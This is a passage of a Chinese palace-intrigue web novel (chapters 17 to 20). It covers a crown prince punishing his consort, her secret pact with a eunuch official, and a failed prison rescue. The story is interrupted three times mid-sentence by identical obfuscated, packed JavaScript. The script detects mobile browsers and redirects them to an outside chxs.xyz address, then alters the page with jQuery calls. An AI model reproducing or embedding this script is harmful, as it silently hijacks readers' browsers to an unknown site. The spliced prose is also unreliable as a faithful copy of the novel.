宁菘蓝:“那您想怎样?”
“……嗤,一件没人要的东西而已,这样吧,你主动来吻我,说你想要,我就给你。”燕谨之将头凑过去,甚至不需要宁菘蓝多动一下,只要她一抬头就能够碰到。
燕谨之觉得自己已做到了极致。
却不想宁菘蓝伸出手掌,利落用力想推开燕谨之:“别说这种疯话了,太子殿下想要,让沈嫚儿吻你便是!”
“毋虞,我只是和她逢场作戏,嗯?”燕谨之去抓她的手,同时脸又往前凑,主动想要吻上去。
他的毋虞脸皮薄,需要他主动一点,这样想着,燕谨之闭上眼睛吻过去。
“啪——”
清脆的巴掌声响在房间中,燕谨之脸歪在一边,宁菘蓝则剧烈喘着粗气,感受到燕谨之禁锢自己的手松了,她立刻站起身往后退了几步。
“……你敢打我?”
过了好一会儿,燕谨之才反应过来发生了什么,他抚着脸侧怒道:“我是当今太子!你敢动我,不怕我砍了你的头吗?”
宁菘蓝也是一时冲动,燕谨之凑来得太快了,她没控制住自己的应激反应,抬手就甩上去了。
“抱歉太子殿下,我……”她干脆利落的跪下来,可解释没几个字又卡了壳。
说什么,说她只是吓到了?
可如果燕谨之又凑过来怎么办,她会吐的!
“解释啊?”燕谨之追问。
“我……我不想吻沈嫚儿吻过的你。”
燕谨之一笑:“毋虞,沈嫚儿是我的妻子,我不可能不吻她,你连这都想不明白吗?你还是在敷衍我。”
燕谨之朝门外喊了一声,唤来他的贴身侍卫:“将侧妃娘娘关进柴房,让她好好想想清楚,该怎么跟我赔罪。”
宁菘蓝抵抗不了众多侍卫,只能被捆着进了柴房,她坐倒在地上,却又被冰凉的地面激得一激灵。
已经快要入冬了,那么冷的地方,该怎么熬?
燕谨之在宁菘蓝被绑走后便离开了,余下宁菘蓝宫中一片人各自慌乱。
“怎么办,娘娘怎么又得罪太子殿下了。”
“我们的日子已经很不好过了,娘娘为什么还是这么倔啊……”
“也不知道娘娘在柴房会不会冷,太子殿下又不让我们去照顾,怎么办啊?”
红螺被宁菘蓝叮嘱过了,只能强压下担心安抚众人:“大家莫要担忧,娘娘会没事的,我们相信娘娘就好。”
众人都心慌意乱,没有注意到一个小丫头悄悄溜了出去。
青黛知道事态紧急,很快赶到了东厂处和褚拭雪汇报:“主子,宁娘子被太子关进柴房了。”
褚拭雪此刻刚刚从狱中出来,身上还带着血腥气,他闻言一蹙眉:“她又怎么得罪太子了?”
“属下不知,当时只有他们二人在房中。可二人离开时,脸上均带着红痕,太子脸上的,看起来像宁娘子的手印,至于宁娘子脸上的……属下看不清楚。”
褚拭雪挑挑嘴角:“他们互殴了?燕谨之舍得吗?”
竺七:“也许就是太子去找的茬,先打了宁娘子,宁娘子反击了呢?”
“就燕谨之那样子,的确每次都是他找的茬…但宁菘蓝会站在那任他打?”
褚拭雪不是个爱凑热闹的人,只是对宁菘蓝的事他莫名好奇,想半天,他说:“这样吧,晚上我去看看她。”
竺七和青黛面面相觑,默契地点点头,完全不提自家主子的行为有多反常。
夜晚降临,骤然起了一阵寒风,吹拂在过路人脸上俱引起一阵战栗。
“这天气真是越来越冷了,又是一个寒冬啊……”
“是啊,一到夜晚,宫里的主子们都窝在房间里不肯出门了,明明之前还有夜游御花园的雅兴呢。”
“真是能冻死人的天气。”
褚拭雪从她们身边掠过,听到议论声。
也不知那个宁娘子在柴房过得舒不舒坦,他私心是不觉得宁菘蓝会受罪的,就算燕谨之铁了心给她教训,她自己也不会安分。
这样想着,褚拭雪揭开了一片瓦片,朝里看去。
只见狭小的房间很是脏乱,一小部分摆着旧柴,经过一段时间的放置已然变得有些潮湿,其他地方摆着的大多是新柴,干燥坚硬。宁菘蓝就窝在一堆新柴旁,她头倚靠着新柴堆,两手抱着自己,双眸紧闭,不知是晕过去了还是睡着了。
她面色发白,嘴唇被冻得有些紫。
褚拭雪一皱眉,没想过她竟真这么老老实实待在这,这样睡一觉,明天能烧成傻子。
他随手捡起几块石头,朝她脚边扔去。
宁菘蓝好不容易哄睡自己,可没睡多久,就被脚边接二连三响起的啪嗒声吵醒。
“啪嗒——”
“啪嗒——”
“啪嗒——”
都被关进来了也不能让人好好休息一下吗!
宁菘蓝怒而睁眼,环顾了一圈,只在自己脚边发现了几块石头。
“哪位君子啊,一个劲儿朝人扔石头?”
“……我。”熟悉的嗓音响起。
宁菘蓝一愣,抬头望去,发现果然是褚拭雪。
他又掀开几块瓦片,就这么直接跳了进来。
这人穿着一身便于行动的湛蓝锦缎劲装,绑着很是飒利的高马尾,打眼一看像是哪个英姿勃发的小将军,也就是褚拭雪,穿个什么都花里胡哨,从不低调。
“你来做什么?”宁菘蓝瞥他一眼,将头向旁边一靠,惫懒着嗓音说。
褚拭雪看她一眼:“我来看看,聪慧如你,是怎么落到这般田地的……”
“你那么多双眼睛,既然知道何必问?”
“冤枉啊,我只有这两只而已。”褚拭雪一脸无辜,伸出双指指着自己的一双眼睛装傻。
宁菘蓝翻了个白眼,她被冻得不轻,没力气和他扯皮。
可是褚拭雪此刻没什么眼力见,见她不说话了,就又说:“你不是很爱太子吗,为什么又惹他生气?”
“……狼心狗肺的东西而已。”宁菘蓝自己恨恨道。
褚拭雪耳朵尖,听到了宁菘蓝在自己嘀咕什么,饶有兴致:“骂的这么难听,你不怕我告诉他?”
宁菘蓝看他一眼,兀地笑一下:“你不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990301|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你和他也是仇人。”
褚拭雪眼睛一眯:“为什么这么说?”
宁菘蓝轻哼一声,试探道:“因为你如果不杀他,他就会杀你,在登基前。”
“那又如何?”
“看来你自己也知道…我不相信褚大人会是一个坐以待毙的人,”宁菘蓝也不含糊,直截了当的表达了自己的意思,“所以我们合作吧!我们一起…”
“我不一定要和你合作,大不了他登基时我跑了就是。”褚拭雪故作无所谓。
“哦,如果你跑的掉就尽管试试。”宁菘蓝翻个白眼。
“别这么冷漠啊,这样吧,和我说说你准备怎么做?”
“我只和合作者交流,褚大人,您不是。”
“别这样嘛,你要我做的可是杀头的事,我总得考虑一下。”
“那等您考虑好了,我再和您交流吧。”
这小丫头,褚拭雪无奈。
恰好这时从头顶又传来一阵细小的呼唤声。
“大人——”
褚拭雪朝人招招手,都蒙便抱着被子下来了,褚拭雪从他手上拿过来又递给宁菘蓝。
“宁娘子,盖上吧,这寒风刺骨的,你要是今天晚上被冻死了,我找谁合作去?”
“你要和我合作?”
“……你先盖上,若是今晚没被冻死我就考虑考虑。”
都蒙听着自家主子这话,诶呦诶呦几声,捂着脸扭头,一副看不了的样子往一旁走了几步。
这算什么要求啊……
宁菘蓝接过被子,莫名其妙地看了眼都蒙,又看向褚拭雪,你这下属怎么总这么奇怪?
谁知道呢?
褚拭雪耸耸肩,运转轻功,一跳便跳上了房顶,都蒙刚想跟上去却被褚拭雪制止。
“你在这守着,明天把被子拿回去,咱们可不能让宁娘子占一点便宜。”
他戏谑地看着宁菘蓝,等看到人家脸上嫌弃的表情后,才又轻笑一声离去。
都蒙被留在原地,哎哎两声没人理,只能老老实实去一旁坐着。
主子哄姑娘,他就帮着呗,还能咋的。
“你冷吗?要不我把被子分你一半?”
宁菘蓝知道柴房有多冷,一进夜,是真能将人冻晕的程度,所以在褚拭雪递上被子时她没推拒。
若没有御寒的,这小侍卫不一定能扛得住。
都蒙闻言一愣,赶忙盘起腿,双手放在膝盖上,老神在在的模样:“不必了,宁娘子,小的夜晚都打坐修行,不需要这些。”
“哦……”
宁菘蓝的武功是跟着父亲和兄长随便学的,除了会点轻功,其他的大多还属于三脚猫功夫,没怎么打坐过,所以骤然一看到都蒙的架势,佩服不已。
到底是正经学武的,就是不一样,一点不怕冷!
可她殊不知,都蒙的外衣下早已塞进了厚实的冬衣,都蒙默默想,幸好竺七提醒了,不然他真得挨冻。
夜色已深,二人俱闭上双眼休息。
……
“东厂地牢,你们可摸清楚了?”
“回主子,清清楚楚,明日即可进行营救。”
“很好,记住,明日夜晚,我等着你们将柳良吉送来。”
“是!”
昏暗的房间里,只前厅被一盏荧荧的烛火点亮。身穿黑衣的下属兀地消失,随后,一只手自黑暗中伸出,将火苗捻灭。
18. 第 18 章
“你觉得,宁菘蓝为什么这么恨太子?”
褚拭雪端坐在上位,摩挲着下巴,也不知是真的在问竺七,还是在自言自语。
竺七默了一会儿,见他一直不说话,自觉开口:“难道是因爱生恨?毕竟自二人成婚以来,宁娘子便受了很多委屈。”
“她是这种人吗?”褚拭雪顿了一下,又突兀一笑,“原本多是一对神仙眷侣啊,怎么就走到这一步了呢。”
“……主子,您幸灾乐祸得有点太明显了。”
褚拭雪一挑眉:“什么眼神,我明明是在替太子难过,娘子已经盘算着要杀他了,他却还一无所觉。”
竺七:你是主子,你说的都对!
……
一夜过去,宁菘蓝正裹着被子睡,却被都蒙摇醒。
“宁娘子,天快亮了,小的就先带被子回去,免得被发现。”
她点点头,任由都蒙将被子收好带走,望着那床被子心中有些怅然,连关系不甚亲近的人都能给自己送一床被子,可燕谨之,竟真的一夜未问。
因着他的行为,她总怀疑自己,到底人品有多差,混到最后都得不到亲近之人的关心。
这种怀疑无关任何情感,只是单纯让她为自己一直以来的付出感到不值。
而另一处,燕谨之躺在锦被中才醒来不久,他惺忪着睡眼,任由沈嫚儿为自己更衣。
沈嫚儿为他一件件穿上衣裳,又拿起腰带小心翼翼为他系着,直到系好了她才斟酌开口:“殿下,昨日那本曲谱……”
“怎么?”燕谨之突兀的睁开双眼,“已给了孤的东西,你还想要回去?”
沈嫚儿手一抖,立刻道:“当然不!只是那是姐姐送臣妾的,妾…”
“你何必在意她?总之她不会和你闹的。”燕谨之干脆利落的止住话题,理着袖子便离开了寝殿。
大安早朝本就早,燕谨之还需得提前去等候,眼下已然有些晚了。坐在轿子上,燕谨之本在闭目养神,却被仆下一句话打断:“主子,天已亮了,侧妃娘娘是不是该……”
他本刻意忘记宁菘蓝的存在,此刻却又被突然提起,想起自从上次自己将她留给褚拭雪后,她便一直惹他生气。
宠也不争了,连他的吻也不要了。
其实在这之前,他从未罚过她,因着亏欠以及那份青梅竹马的爱情,他可以无条件宠着她,但他终归是太子,不可能纡尊降贵地一直哄她,她闹得太狠,自己这才不得已将其关进柴房。
他虽总嘴上怀疑是不是宁菘蓝爱上了褚拭雪,才总抗拒他,但实则在意识深层,他是不信的,毕竟她是未来皇帝的妻子,怎么可能只因一夜就爱上一个阉人,在他的眼里,只觉得宁菘蓝是在借题发挥,想让自己哄她罢了。
我的毋虞总是有小脾气,但这已不是我们年少时,我没空哄她了……
燕谨之轻叹一声:“罢了,放了她吧,马上就是嫚儿的生辰宴,不要再有闪失。”
“是。”
吩咐过下人,燕谨之便将这件事抛之脑后。
近来因柳家倒台,与其相关的世家贵族都被牵连,朝廷势力面临重新洗牌,眼下正乱,皇帝为了考校他便将这事交给他去梳理,实在是个麻烦差事!
尤其受到牵连的世家大多属于他的势力。
只是燕谨之不知道的是,柳家之事并未解决。
当日夜晚,东厂地牢便遭到了劫狱。
夜深人静时,站在地牢外看守的士兵也难掩疲惫,一个个止不住地打哈欠。
“主子到底是怎么想的,那么大的地牢只安排咱们几个看守,也不安排个换班的,这几日连轴下来真是遭不住!”
“对啊,我已经好几日没睡过好觉了。”
“好了,有这闲聊的功夫不如赶紧拿凉帕子擦擦脸,你们要是真睡着了……”
话音未落,几道身影悄无声息地落于几人后方,左手捂上脸颊,右手持刃,轻轻一抹便放倒了看守的几个侍卫,他们动作利落,一看便是训练有素之人。
霎时间,门外便多了几个倒下的尸首。几人换上尸首的衣衫,又将他们拖进了阴影处,才小心翼翼推门而入。
“老大,这一切会不会太顺利了?”
几人行于地牢中,走了一会儿却还未遇到值守的守卫,名为十三的小弟心下有些不安,惴惴地看向老大。
“笨啊你!”老大不耐地狠狠拍了一下十三的头,“我们都摸清了这时候是他们换班的时间,自然无人,有空怀疑不如脚下快点!”
经过长时间的探查,他们已经摸清了地牢的布局,自然也知道柳良吉被关在何处,只是他们一心找到柳良吉,却未发现黄雀在后。
另一边,褚拭雪正喝着茶,竺七便来报:“他们行动了。”
“……多少人?”褚拭雪眼神一凛。
“六人。”
“确定了?其后没有援兵?”
“确认了,咱们留在牢外树林的人已报了,等了许久都未曾见后有人来。”
“他们还挺有自信……那就把这六人留下吧。”
“是。”竺七领了命下去。
地牢里,几人在行刑房找到了柳良吉。此刻柳良吉被绑在架子上,双手被高高束起吊在头顶,经过长时间的捆缚已然充血肿胀,至于其身上其他地方,更是多出极多伤痕,遍布全身以及脸颊,湿漉漉的液体浸满伤口,不知其内含了什么东西。
他整个人奄奄一息,仿佛下一秒就要咽气。
“这东厂都督真是心狠手辣,手段比咱们主子还狠!”
“别说了。”老大上前去探了下柳良吉的鼻息,立刻道,“赶紧将咱们的药喂他一粒,否则不等回去,在路上他就得死。”
十一上前喂了药。他们带的药本就带着快速止血和刺激肾上腺的功能,是死士们受伤后为逃出生天使用的,副作用较多,但于他们而言,只要活着带回柳良吉,就代表任务成功。
“赶紧把他放下来,速战速决。”
几人上前解柳良吉身上的绳索,解着解着,也许是药起效了,柳良吉突然醒来。
他看着面前几人,身体突然一抖,以为是褚拭雪又想出什么非人的折磨,连忙求饶:“几位大人,求你们告诉都督大人,我真的…真的把知道的都说了!求求你们放过我吧!”
“你把所有的都说了?”老大目光一凌。
他们来救他就是为了阻止他把那些消息告诉褚拭雪,他们已经用了最快的速度赶来,只是没想到柳良吉这个软骨头,竟连几日都没撑过去,将消息全吐出来了。
那这人,还有什么利用价值?
十一他们手下动作慢了一点,悄悄看向老大,老大没好气的“啧”了一声,还是说:“先把他救走,怎么处理主子说了算。”
“……救走?”柳良吉闻言一愣,随即一个不可置信的念头涌上来,他愣愣道:“你们,你们是来救我的?”
“你老实点,我们就会救你。”
“好好好,我老实我老实,谢谢菩萨,谢谢你们,谢谢……”柳良吉此刻简直称得上热泪盈眶,他本以为自己就要被褚拭雪那个煞神折磨死了,没想到竟还有好心人来救他。
“别说话了!”老大不耐地打断他,看到他已经被从架子上放下来了,只是脚上手上还带着镣铐,便抬手阻止手下的动作,说:“剩下的别解了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012467|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咱们走!”
几人一对视,果断听了老大的,架起柳良吉就走。
只是刚走出行刑房,就被自面前和身后迅速而来的侍卫团团围住,侍卫们领头的正是竺七。
竺七手中持剑,直直指向老大,沉着嗓音道:“识相的,就放弃挣扎。”
老大环顾一下四周,这才发觉他们已经入了圈套。
“该死,中计了。”
老大、老二、老七、十二、十三,五人迅速围成圈,将十一以及其手中的柳良吉护在身后。老大微微侧头,对身边人说:“不惜代价,保护十一和柳良吉,如果护不了……”
他没再说下去,只是目光晦暗地看了眼柳良吉,其他人立刻明白若是护不了,就要果断杀了他。
老大叮嘱完,又转过头看向竺七,他手腕一翻,自袖中划出一柄小刀,又将其握在拳中,果断对着竺七甩去。
竺七将手中剑一竖,向一旁击打,刚将小刀打至一旁,抬眼便看到冲自己扑来的老大。他立刻向后撤步,将腰向后弯折,同时剑刃向上,迎着老大腾空的身体割去,老大立刻将腿向旁边墙体一蹬,一个空翻躲过那锋利的剑刃落在一边。
以老大和竺七为开头,其他几人纷纷迎上开战,尽管劫匪六人均武力高强,但竺七带的人多,光是人海战术便足以淹没他们。
一时间牢房中刀光剑影,残肢与血液满天飞,或是劫匪割断了侍卫的脖子,或是侍卫砍断了劫匪胳膊。
“所有人,今日地牢,一只蚊子都不许放出去!”竺七边说,又一掌打上老大后背,将其打得踉跄几步。
“是!”侍卫们气势如虹,震耳欲聋的声音响彻在地牢,如一记重锤捶打在老大等人心上。
“我劝你,立刻投降!”
竺七脚下用力一蹬,身子腾空跃起,抓住老大的后心便将其按在地上,他单膝跪地,一手按在其衣领,另一只手提着剑抵在老大脖颈上,搁出一道血线,老大被迫趴在地上动弹不得。
竺七向身后望去,看到其他众人皆已被按下,唯独剩一个十一,正被侍卫们团团围住,他拽着柳良吉步步后退,后背已然抵上墙体,无路可走。
此刻众人眼光汇于十一一身,十一忍不住咽咽口水,后牙槽用力,一口咬开了放在口腔深处的毒囊,随后他便将衣袖中的小刀握于手心,借着挟持柳良吉的动作,狠狠扎入了柳良吉脖颈。
他手法精准,干脆利落的刺入了柳良吉的动脉处,快速溢出的血液漫过他的手掌。
竺七眼尖,很快瞥到了红色,他眉一皱,立刻起身将老大往身边侍卫手上一扔,飞身上前踹开了十一。
只是动作依然太慢了,柳良吉本就已经奄奄一息,精神还是靠着副作用巨大的药勉强撑起,此刻被狠狠插上颈动脉,不多时他便脸色苍白昏死过去,没多久就失去了呼吸。
“……该死!”
“竺哥!”
与他关系相近的侍卫颤颤出声,竺七扭头一望,发现老大已经带头歪了脖子,连带着其他几个劫匪,他们失去呼吸的时间没比柳良吉晚多少。
“……你们,抓了人不知道把他们下巴卸下来吗?”竺七气的不行,筹谋半天,最后只得到几具死尸。
“竺七。”
侍卫们身后,一道沉静的声音响起,众人纷纷回头望去,发现褚拭雪亲自来了。
竺七一愣,立刻走过去跪下身体:“主子,是我的错……”
“好了。”褚拭雪打断了他,“我本就不怎么抱希望能抓到活的。”
他走到躺在地上的老大身边,蹲下身子端详了会儿,说:“有时候不止活人能说话,死人也能,唤仵作来,验尸!”
19. 第 19 章
“都督,这几位劫匪均是咬破了安放在槽牙处的毒囊,中毒而死。该毒应是专为死士所研制,毒性强、发作速度快,几息即可要人命。”
“带着这种毒来,应是早就做好了赴死的打算。”褚拭雪点了点头。
仵作接着道:“至于那位犯人,因大动脉处的刀伤,失血过多而死。但有一处奇怪,他的身体内脏本受了很多伤,他们好像给他喂了什么药,使他的内脏加速了愈合速度,但这种药副作用极大,本身附带了一定的毒性和成瘾性,若是多用几粒,以后都会离不开。”
“毒囊、令人成瘾的伤药,给他们这些东西的人,可真心黑。”都蒙啧啧啧。
褚拭雪:“从那些劫匪身上还能找到什么?”
“嗯……”仵作沉默了会儿,突然又想起什么,道,“在初次察看时,下属发现他们的身体表面均干枯粗糙,明明年纪最多只是而立之年,身体内脏却已经形如古稀之人……下属直觉不对便验了几具尸首,从他们身体中都找到了一处相同点。”
说着,仵作自袖中拿出一个红色漆木盒递上来,褚拭雪接过,打开一看,发现盒内是几只已失了性命的蛊虫,通体幽蓝,散发着盈盈光泽。
“主子,这,这是蛊虫?”都蒙大吃一惊。
褚拭雪目光沉沉,点了下头。
“据我所知,蛊术已失传甚久,后来突然现世,出现在——”
“黯义堂。”褚拭雪合上了盖子。
黯义堂是十几年前兴起的一个暗杀组织,臭名远扬。他们手段龌龊且残暴,只认钱不认人,只要钱到位,任何单子都接,如果订单上的人是他们暂时无法接近的,那么订单便会上悬赏榜,广招天下“贤士”揭榜,谁完成了订单,黯义堂就会吸纳他们。
至于那些拒绝吸纳的,再没消息。
众人皆怀疑那些人已经被黯义堂给杀了。
“这黯义堂还敢造次,因为那个什么悬赏榜,您遭到暗杀多少次?咱们花了大力气镇压他们,没想到没过几年他们竟然又出现了,真是祸害遗千年!”
都蒙气得牙痒痒。只因褚拭雪的订单就在悬赏榜榜首,黯义堂的高额悬赏金吸引了无数杀手,几年前针对褚拭雪的暗杀行动简直数不胜数。
也就是后来褚拭雪率东厂大肆绞杀黯义堂堂众,才勉强得了几年的安宁,只是他们都没想到那些人这么快就卷土重来了。
“我们原本都以为,黯义堂只是一个江湖组织,可他们来营救柳良吉,就是和朝廷势力有勾结了。”褚拭雪回头看了一眼竺七,“带着人去查一查,先查蛊虫到底是不是来源于黯义堂,再查黯义堂背后的人是谁,又和朝廷中的哪些人有往来……”
“是!”竺七消失在原地。
东厂风云再起,宁菘蓝这里却安静如往常。
自上次被放出来后,她便谢绝了一切访客,专心在房间中思考任务事宜,她已与褚拭雪摊牌,若是日后真的合作了,就必须得展示出自己的价值。
她思考半天,突然从记忆中翻出了一件往事。
当年她与燕谨之还未成亲时,燕谨之便主动请缨帮皇上处理过一些朝廷之事,其中有一件他办得极为出色,也正是因那次事件,皇上才开始彻底放他进入权力中心。
那是,山乐县矿监税使案。
山乐县是隶属于奉阳郡的一个小县,地处大陆中部偏北地区,当年先帝手下的刘宦官在这里主持了开矿事宜,负责开矿征商,节制地方官吏,被称为矿监税使。
但他在山乐县的日子里,大肆敛财,专治跋扈,压迫百姓极深,激起了几次民变。因为镇压手段血腥迅速,且这处矿产的确资源丰富,每年都给朝廷交了很多钱财,所以朝廷那边一直没有仔细督查,让刘宦官专制了山乐县极多年。
后来当今皇上即位,派遣出大量官员暗中查探全国各地的矿产情况,山乐县的困境才就此被发现。
在当时,派谁去山乐县解决这件事成了个大难题。因刘宦官即使身处山乐县,其势力也已在朝廷中央渗透了不少,当今皇上刚刚即位,无法大肆改换官员,若是一个不慎有消息泄露,让刘宦官知晓什么,那么那条滑泥鳅就很难被捉到了,因此皇上一直在暗自发愁。
就在这时,燕谨之主动请缨,他知晓皇上的难处,便不顾自己的安危,伪装身份潜入了山乐县。
在山乐县,他九死一生抓住了刘宦官,将其押解回京,又留下身边的人重新整治山乐县及该地铜矿,在他手下人的治理之下,山乐县很快恢复了元气,人民生活改善,成了当地有名的富足县。
因治理有方,皇上便任命那人为新的山乐县令,又派了几人协助,让他们负责山乐县的治理与铜矿管理。
宁菘蓝之所以知道这件事,也是因当时,燕谨之离开的时候与她见了一面,坦白了自己的去处。
记得当时燕谨之说:“……不必担忧我的安危,你只要知道,那里有人护着我就好,你就安心等着我回来娶你……”
在当时宁菘蓝并未留心这句话,她只以为这是燕谨之为了不让自己担心而随意说出的安慰,可如今看来,也许那句并非仅仅是安慰。
山乐县也许真的有人护着他,他才能在把控那么严格的地方杀出一条路,扳倒地头蛇刘宦官。
所以会是谁呢?
必须要查一查当年山乐县一事了,若是其中真的有猫腻,以此来作为投名状,褚拭雪必定会接受。
只是,红螺替她查一查别的事还能做到,查这种朝廷密辛,可不在她的能力之内,那该找谁呢?
宁菘蓝思来想去,还是觉得,东厂的人才是专业干这个的。
……
“你想以此作为投名状,可,怎么还要本都督的人来替你查?”
褚拭雪饶有兴致地看着这个一身小丫头装扮的人,嘴上一本正经在回答人家的问题,可心里只想问她是怎么混进来的。
宁菘蓝不知道褚拭雪在跑偏,她谄媚一笑,故作乖巧道:“我也只是个,平日里大门不出二门不迈的姑娘,能知道这件事就不错了。不过这件事既然是我的投名状,那自然不需要都督大人您本人操心,只要借给我几个人,能帮我去那边探查一番就好。”
“……行吧,那你想借谁?”褚拭雪“宠溺”一笑。
“都蒙!”宁菘蓝默了一会儿,想想自己除了都蒙也不认识其他人了,只好说,“其他的,您随便给我派个可靠的就行。”
可是只见褚拭雪一蹙眉,一副为难的样子:“可靠的?可除了都蒙,这东厂也只剩本都督最可靠了,你想要本都督替你去查啊?”
“……”宁菘蓝有点想翻白眼。
你是想说,你们偌大一个东厂,专门替皇上办事的地方,只有你和都蒙两个可靠的人?
站在一旁的都蒙被点名了固然很开心,但他仍然没忘记自己“红娘”的职责,见两人都不说话了,立刻抖了个机灵:“既然都不放心,不如这样吧,咱们三个一起去查一查,怎么样?”
都蒙:宁娘子对主子芳心暗许,主子又对宁娘子那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030239|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么特殊,典型的郎有情来妾有意,我必须给你俩捅破这层窗户纸!
“……都大护法,您还真是,有智慧啊。”宁菘蓝猛然听到这句话,简直无力吐槽。
“大护法?宁娘子说谁?”都蒙摸不着头脑。
“没谁没谁,你继续。”宁菘蓝礼貌微笑。
都蒙见宁菘蓝不说话,又转向自家主子:“主子,咱们最近不是在查……,据我所知,……的老巢就在奉阳郡,咱们何不借此亲自去探查一番,竺七去了那么久都没消息,也许是遇到什么难事了。”
褚拭雪本也想直接拒绝,可听到都蒙这番话,又有些犹豫。都蒙的话没错,按照他对竺七的叮嘱,只要竺七查到什么就应立刻回来汇报,可这么些日子过去了,丝毫没有任何回信,也许竺七真的是出了什么事。
再者黯义堂本身就神秘非常,还有失传已久的蛊虫,眼下敌在暗,还是他亲自过去探查一番,会更有收获。
“……这样吧,我和都蒙跑一趟,你嘛,安心在京城待着,等我们带消息回来好了。”褚拭雪下定决心。
可他没想到的是,宁菘蓝听到这话眉一皱,一副吃了大亏的模样:“那怎么行?我把消息跟你们说了,你们一去查,万一真的查到什么,直接把我撇一边去和皇上邀功怎么办?这是我的投名状,不是你的。”
“……这难道不是你向我的投名状?就算让你去查,查到了还不是要告诉我,你告诉我以后我再去向皇上邀功,那不是一样的吗?”褚拭雪一步步走下座位,微微弯腰看向宁菘蓝。
宁菘蓝闻言一怔,咬了会儿牙:“可是,咱们两个的合作是咱们两个的,我不管你要不要和皇上汇报,我只说,如果我告诉你的事是真的有问题,你就一定要答应和我合作的。”
“这么霸道啊…”褚拭雪轻轻撇嘴,带着点戏谑的意味感慨。
“你什么意思?”
“……我的意思是,好的,我答应你,如果我真的查到什么,我一定会答应和你合作,好不好?”褚拭雪放慢语速,一字一句道,认真的架势仿佛在发誓。
宁菘蓝打量他一会儿,还是说:“不行不行,谁知道你会不会遵守承诺,你万一查到了故意和我说没查到,然后不和我合作怎么办?”
这下褚拭雪是真的被逗笑了,他也不知道自己到底在她这里是多没信用,让她这么不放心。
“你们男人啊,说话从来没几句能信,我必须把所有事情把握在自己手里才能放心,你,最好别想着从我这里白嫖。”
“白…嫖?”褚拭雪不懂宁菘蓝到底长着一个什么奇怪的脑子,每天嘴里都是些乱七八糟听不懂的词。
“那你说,你想怎么把事情都把握在自己手里?”
“……这样吧,明日就是沈嫚儿的生辰,待她生辰过了,我就和他们说我要去我的老师那里再精进精进琴艺,就趁着这些时间,我和你走一趟。”
宁菘蓝思考半天,决定还是要去,只有掌握的消息多,才能拥有谈判的筹码。
“你可想好了,此去必定险恶,你能承受住舟车劳顿的辛苦和生命危险吗?”
“笑话,我从小跟着兄长习武,骑马打仗都不在话下,区区一点辛苦和危险能难倒我吗?”宁菘蓝讨厌一切看不起自己的人。
只见褚拭雪一笑:“嗯,我知道你会骑马,但是你那个三脚猫功夫,还得再练练才能打仗。”
“……这个我当然知道!”
连夸张手法都要拆穿,怪不得他前世孤寡了一辈子。
20. 第 20 章
沈嫚儿的生辰当日,宁菘蓝才再度出现在东宫众人面前。
东宫人群来去如织,燕谨之三人俱在主位上站着,身着华丽。宁菘蓝稍低一阶,明明是有些尴尬的位置,她却恍若未觉,仍面上挂着得体的笑。
“自从上次被太子殿下惩罚,侧妃就一直闭门不出,看来也是在自行思过。”
“侧妃也不容易,受那么多委屈……”
“诶,人家是咱们能心疼的吗?说不定她们二人情同姐妹,并不在意这些呢。”
客人们扬着酒杯陪笑,私下又彼此使眼色,意味各异地盯着宁菘蓝。
宁菘蓝站在那,只觉自己像是一只任人观赏的宠物猴。
“嫚儿,今日一切,你可满意?”燕谨之抚了抚沈嫚儿的手,笑着望她。
沈嫚儿闻言看了看他,又转头看了眼宁菘蓝,勉强笑着:“当然,殿下安排的就是最好的。”
姐姐是不是不太开心?
沈嫚儿心中惴惴,手心都有些冰凉,她真的很喜欢这个会送自己礼物的姐姐,可为什么她的生辰,姐姐一直不说话。
“毋虞,你说呢?”燕谨之将话头递给宁菘蓝,其中意味很明显,是要宁菘蓝夸几句。
但宁菘蓝又不是泥巴捏的假人,任人摆布还不发脾气,她今日站在这里,已是最大的忍耐。
“…毋虞,你没听到……”
“见过太子殿下,还有两位娘娘。”
褚拭雪的声音自殿外传来,他身后跟着几队侍从,一群人乌泱乌泱的进来了,他们这一来,硬是挤得殿内其他客人纷纷避让。
“褚拭雪,你来做什么?”燕谨之皱起眉头。
褚拭雪呵呵一笑:“自然是来参加太子妃的生辰宴了,奴才身后的就是给太子妃的生辰礼。”
明明是来送礼的,燕谨之却仍不领情:“孤记得好像从来没有邀请过你吧,今日突然造访,是真心来参宴的吗?”
“误会了啊,奴才这次不仅是代表自己,更是代表陛下来的。毕竟当时侧妃的生辰就未办,好不容易赶上沈太子妃的生辰,自然要立刻前来祝贺一番了。”
此话一出,殿内众人皆露出些尴尬的神色,主要是替太子感到尴尬,人人三缄其口的事情此刻被大剌剌地说出来,岂不是在打太子的脸。
